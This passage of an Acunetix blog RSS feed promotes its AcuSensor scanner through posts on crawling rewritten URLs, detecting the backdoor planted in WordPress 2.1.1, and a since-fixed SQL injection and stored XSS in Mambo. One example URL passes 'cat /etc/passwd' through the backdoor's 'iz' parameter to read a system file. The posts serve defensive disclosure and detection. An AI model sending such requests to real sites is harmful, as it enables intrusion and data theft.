<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2008/12/seo_url_2.png" target="_blank"><img class="aligncenter size-full wp-image-191" title="seo_url_2" src="http://www.acunetix.com/blog/wp-content/uploads/2008/12/seo_url_2.png" alt="" width="500" height="25" /></a></p>
<p>However, these kinds of URLs are creating a lot of problems for web vulnerability scanners and their crawlers.</p>
<p>Below is the crawl result of a sample application that is uses the mod_rewrite module:</p>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2008/12/acunetix_crawl_1.png" target="_blank"><img class="aligncenter size-full wp-image-192" title="acunetix_crawl_1" src="http://www.acunetix.com/blog/wp-content/uploads/2008/12/acunetix_crawl_1.png" alt="" width="401" height="406" /></a></p>
<p>As seen above, the crawler is confused when dealing with such URLs, thinking that BuyProduct and Details are directories and handling them as such.  Also, the crawler did not find any inputs for this web application therefore cannot test it properly.</p>
<p>In order to handle this kind of situations, in the previous versions of Acunetix WVS we implemented a solution that allows defining rewrite rules through a graphical tool where the user can manually define the rewrite rules and these rules will be parsed by the crawler and the crawler will rewrite the URLs automatically. Another option was to import the file with the rewrite rules.</p>
<p>However, apart from the fact that this is a manual process, the user must manually define the rewrite rules and that’s not always an easy task,  sometimes it&#8217;s very complicated or even impossible.  In companies where freelance web developers are hired, usually the administrator auditing the site is only administering the server and is not responsible for the actual content of the site or not familiar with the source code of the site.</p>
<p>Because the AcuSensor Technology has inside information from the scanned application, it can provide information to the crawler about the actual filenames and about input parameters.  Therefore when AcuSensor Technology is enabled on the website, the crawler can correctly parse the site structure and the file inputs and able to properly test the web application.</p>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2008/12/acunetix_crawl_2.png" target="_blank"><img class="aligncenter size-full wp-image-193" title="acunetix_crawl_2" src="http://www.acunetix.com/blog/wp-content/uploads/2008/12/acunetix_crawl_2.png" alt="" width="402" height="407" /></a></p>
<p>As seen above, the crawl results for the same site when AcuSensor Technology is enabled, the real files appear in the crawl results: buy.php and details.php.</p>
<p>Also, now the crawler has information about the input parameters for these files (GET param id and the list of possible values). Therefore, the scanner can properly audit the web application.</p>
<p>Other files have been discovered in the application directory (database_connect.php, takeover.php, …).  One of these files also has an input parameter and can be tested even if this file is not directly linked from the website.  With a typical black box scanner such files are never audited.</p>
<p>The AcuSensor Technology is available in Acunetix WVS version 6 and has a number of advantages that will improve the quality of the scan results.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/url-rewriting-and-acusensor-technology-automation-and-advantages/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AcuSensor Technology in action; finding backdoors in web applications</title>
		<link>http://www.acunetix.com/blog/docs/acusensor-technology-in-action-finding-backdoors-in-web-applications/</link>
		<comments>http://www.acunetix.com/blog/docs/acusensor-technology-in-action-finding-backdoors-in-web-applications/#comments</comments>
		<pubDate>Tue, 25 Nov 2008 13:51:18 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[docs & FAQs]]></category>
		<category><![CDATA[acunsensor]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=153</guid>
		<description><![CDATA[On March 2, 2007 the following was posted on the WordPress blog:
Long story short: If you downloaded WordPress 2.1.1 within the past 3-4 days, your files may include a security exploit that was added by ...]]></description>
			<content:encoded><![CDATA[<p>On March 2, 2007 the following was posted on the <a href="http://wordpress.org/development/2007/03/upgrade-212/">WordPress blog</a>:</p>
<p><em>Long story short: If you downloaded WordPress 2.1.1 within the past 3-4 days, your files may include a security exploit that was added by a cracker, and you should upgrade all of your files to 2.1.2 immediately.</em></p>
<p><em>Longer explanation: This morning we received a note to our security mailing address about unusual and highly exploitable code in WordPress. The issue was investigated, and it appeared that the 2.1.1 download had been modified from its original code. We took the website down immediately to investigate what happened.<br />
It was determined that a cracker had gained user-level access to one of the servers that powers wordpress.org, and had used that access to modify the download file. We have locked down that server for further forensics, but at this time it appears that the 2.1.1 download was the only thing touched by the attack. They modified two files in WP to include code that would allow for remote PHP execution.</em></p>
<p>Basically, a cracker gained access to one of the WordPress servers and modified two files from the WordPress installation.  One of these files is theme.php (located in the wp-includes) directory where the cracker inserted the following pieces of the code:</p>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2008/11/code-from-theme.png" target="_blank"><img class="size-full wp-image-154 aligncenter" title="code-from-theme" src="http://www.acunetix.com/blog/wp-content/uploads/2008/11/code-from-theme.png" alt="" width="438" height="96" /></a></p>
<p style="text-align: center;"><strong>Screenshot 1 – Code from wp-includes/theme.php</strong></p>
<p>This modification introduced a system code execution vulnerability in the WordPress code.<br />
It was possible to read the contents of the /etc/passwd file using an URL like:</p>
<p><strong>http://host/wordpress-2.1.1 infected/wp-includes/theme.php?iz=<span style="color: #ff0000;">cat+/etc/passwd</span></strong></p>
<p>A vulnerability like this one cannot be detected with a typical black box vulnerability scanner. The cracker introduced a new input parameter named <strong>‘iz’</strong> and the value of this parameter is sent through the <strong>‘passthru’</strong> function (the PHP passthru function will execute an external program and display raw output). This input parameter is not directly linked from anywhere; therefore a black box scanner will never know about this parameter and will not test it.</p>
<p>This is where the AcuSensor Technology comes into place; it builds a list with all the inputs from the application (by parsing the source code and intercepting variable access). E.g. on PHP it intercepts all the access to $_GET and $_POST arrays and build a comprehensive list with all the possible inputs.  Therefore, when scanning the application with AcuSensor Technology enabled, the <strong>‘iz’</strong> input parameter will be discovered and tested (as shown in the Screenshot 2).</p>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2008/11/parameter-iz.png" target="_blank"><img class="size-full wp-image-157 aligncenter" title="parameter-iz" src="http://www.acunetix.com/blog/wp-content/uploads/2008/11/parameter-iz.png" alt="" width="499" height="147" /></a></p>
<p style="text-align: center;"><strong>Screenshot 2 &#8211; Parameter iz found in theme.php</strong></p>
<p>Even more, the AcuSensor Technology will build a list with all the files in the application directory, therefore allowing us to scan for files which are not directly linked from the website. If an attacker gains access to the website and creates a backdoor file in the application directory, this file will be found and scanned if AcuSensor Technology is enabled.</p>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2008/11/acusensor-data.png" target="_blank"><img class="size-full wp-image-158 aligncenter" title="acusensor-data" src="http://www.acunetix.com/blog/wp-content/uploads/2008/11/acusensor-data.png" alt="" width="500" height="147" /></a></p>
<p style="text-align: center;"><strong>Screenshot 3 – Application Sensor Data (list of files from current directory)</strong></p>
<p>Because the <strong>‘iz’</strong> parameter is now found, the scanner can test it and report the vulnerability, as shown in the screenshot below.</p>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2008/11/alert-from-acusensor.png" target="_blank"><img class="size-full wp-image-159 aligncenter" title="alert-from-acusensor" src="http://www.acunetix.com/blog/wp-content/uploads/2008/11/alert-from-acusensor.png" alt="" width="500" height="408" /></a></p>
<p style="text-align: center;"><strong>Screenshot 4 – The alert reported by Acunetix WVS v6 with AcuSensor Technology</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/docs/acusensor-technology-in-action-finding-backdoors-in-web-applications/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>SQL Injection in Mambo found with Acunetix AcuSensor Technology</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/sql-injection-in-mambo-found-with-acunetix-acusensor-technology/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/sql-injection-in-mambo-found-with-acunetix-acusensor-technology/#comments</comments>
		<pubDate>Thu, 13 Nov 2008 09:22:14 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[articles]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=112</guid>
		<description><![CDATA[This post shows how with Acunetix AcuSensor Technology improves scanning reliability by using sensors placed inside the web application being scanned.  It also proves that with this technology, one can detect SQL injections in INSERT ...]]></description>
			<content:encoded><![CDATA[<p>This post shows how with Acunetix <a href="http://www.acunetix.com/websitesecurity/rightwvs.htm" target="_blank">AcuSensor</a> Technology improves scanning reliability by using sensors placed inside the web application being scanned.  It also proves that with this technology, one can detect SQL injections in INSERT statements. Such vulnerabilities cannot be found using a typical web application black box scanner.</p>
<p>While testing AcuSensor Technology on various open source web applications, we found various 0day vulnerabilities.</p>
<p>The following post shows a real life example of how a SQL injection and a Cross site scripting vulnerability were found in Mambo Version 4.6.2 and 4.6.3. Mambo is one of the world’s most popular open source content management systems.</p>
<p>In the file comment.php (located in the “components\com_comment” directory), we have the following code:</p>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2008/11/mambo_comment.png" target="_blank"><img class="aligncenter size-full wp-image-125" title="mambo_comment" src="http://www.acunetix.com/blog/wp-content/uploads/2008/11/mambo_comment.png" alt="" width="626" height="51" /></a></p>
<p style="text-align: center;">
<p style="text-align: center;"><strong>Screenshot 1 – Code from comment.php</strong></p>
<p>The above code is used to insert user generated comments into the database.</p>
<p>We can see that ‘articleid’ parameter is not properly sanitized before being used in the SQL query.  This leads to a SQL injection vulnerability in the INSERT SQL statement. This SQL injection can be exploited if magic magic_quotes_gpc is set to OFF.</p>
<p>Another vulnerability is caused by the same input parameter, which is a stored XSS (cross site scripting) vulnerability.</p>
<p>To exploit the vulnerability, we combined both of these vulnerabilities and create a query that will insert a comment with the name and hashed password of the administrator.</p>
<p>The full HTTP request is presented in the screenshot below.</p>
<p style="text-align: center;">
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2008/11/mambo_http_request.png" target="_blank"><img class="size-full wp-image-114 aligncenter" title="mambo_http_request" src="http://www.acunetix.com/blog/wp-content/uploads/2008/11/mambo_http_request.png" alt="Screenshot 2 – HTTP Request " width="646" height="216" /></a></p>
<p style="text-align: center;"><strong>Screenshot 2 – HTTP Request</strong></p>
<p>The application sensors are placed inside the scanned application and can rewrite the source code of the application. For example, sensors will rewrite various database access functions. In PHP, one of these functions is mysql_query. This function will execute an SQL query through the active database connection.</p>
<p>AcuSensor will hook this function and inspect the values passed to this function, being able to reliably detect SQL injection vulnerabilities.</p>
<p>In the screen shot bellow you can see the data returned by the sensor. It’s possible to see the full SQL query, the filename and line number and the complete stack trace. Such information is very helpful for developers to help them troubleshoot and fix the vulnerability in the shortest time possible.</p>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2008/11/mambo_acusensor_data.png" target="_blank"><img class="size-full wp-image-115 aligncenter" title="mambo_acusensor_data" src="http://www.acunetix.com/blog/wp-content/uploads/2008/11/mambo_acusensor_data.png" alt="Screenshot 3 – AcuSensor data (SQL query)" width="642" height="208" /></a></p>
<p style="text-align: center;"><strong>Screenshot 3 – AcuSensor data (SQL query)</strong></p>
<p>Vulnerabilities like these cannot be detected by a typical black box web scanner. An SQL vulnerability in the INSERT statement cannot by detected through blind SQL injection techniques because the INSERT statement does not return anything.</p>
<p>Also, this vulnerability cannot be detected by looking for SQL error messages because this page doesn’t return any error message. When error messages are disabled, a typical black box web scanner will fail.</p>
<p>This kind of vulnerabilities can only be found using the new Acunetix AcuSensor Technology from Acunetix Web Vulnerability Scanner version 6.</p>
<p>This SQL injection vulnerability (and others) were reported to the Mambo Foundation and were fixed in Mambo version 4.6.4.  The fix was announced <a href="http://forum.mambo-foundation.org/showthread.php?s=20207711eed2f3957e25dc88e42b7a7e&amp;t=11799" target="_blank">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/sql-injection-in-mambo-found-with-acunetix-acusensor-technology/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Running AcuSensor Injector on Windows Server 2008</title>
		<link>http://www.acunetix.com/blog/docs/running-acusensor-injector-on-windows-server-2008/</link>
		<comments>http://www.acunetix.com/blog/docs/running-acusensor-injector-on-windows-server-2008/#comments</comments>
		<pubDate>Wed, 22 Oct 2008 08:07:00 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[docs & FAQs]]></category>
		<category><![CDATA[AcuSensor]]></category>
		<category><![CDATA[WindowsServer2008]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=69</guid>
		<description><![CDATA[If you try to run AcuSensor Injector on Windows Server 2008 you will receive the error &#8220;Error populating websites, Unknown error (0&#215;80005000)&#8221;.
AcuSensor Injector is using Active Directory Service Interfaces (ADSI) to construct a list of ...]]></description>
			<content:encoded><![CDATA[<p>If you try to run <strong>AcuSensor </strong>Injector on <strong>Windows Server 2008</strong> you will receive the error &#8220;Error populating websites, Unknown error (0&#215;80005000)&#8221;.</p>
<p>AcuSensor Injector is using Active Directory Service Interfaces (ADSI) to construct a list of websites and virtual directories. ADSI is not available by default on Windows Server 2008.</p>
<p>To solve this problem you need to install the role service named <strong>IIS 6 Metabase Compatibility</strong>.</p>
<p>To do this, follow these steps:</p>
<p>1.  Click <strong>Start</strong>, and then click <strong>Control Panel</strong>.<br />
2.  Click <strong>Programs and Features</strong>.<br />
3.  Click <strong>Turn Windows features on or off</strong>.<br />
4.  On <strong>Roles Summary</strong> group, click on <strong>Web Server (IIS)</strong> role<br />
5.  On <strong>Roles Services</strong> group, click on <strong>Add Role Services</strong>.<br />
6.  Go to <strong>Management Tools</strong>-&gt;<strong>IIS 6 Management Compatibility</strong> and enable <strong>IIS 6 Metabase Compatibility</strong>.<br />
7.  Click <strong>Next </strong>and <strong>Install</strong>.</p>
<div id="attachment_70" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.acunetix.com/blog/wp-content/uploads/2008/10/iis6_metabase_compatibility.png"><img class="size-medium wp-image-70" title="iis6_metabase_compatibility" src="http://www.acunetix.com/blog/wp-content/uploads/2008/10/iis6_metabase_compatibility-300x225.png" alt="IIS 6 Metabase Compatibility" width="300" height="225" /></a><p class="wp-caption-text">IIS 6 Metabase Compatibility</p></div>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/docs/running-acusensor-injector-on-windows-server-2008/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

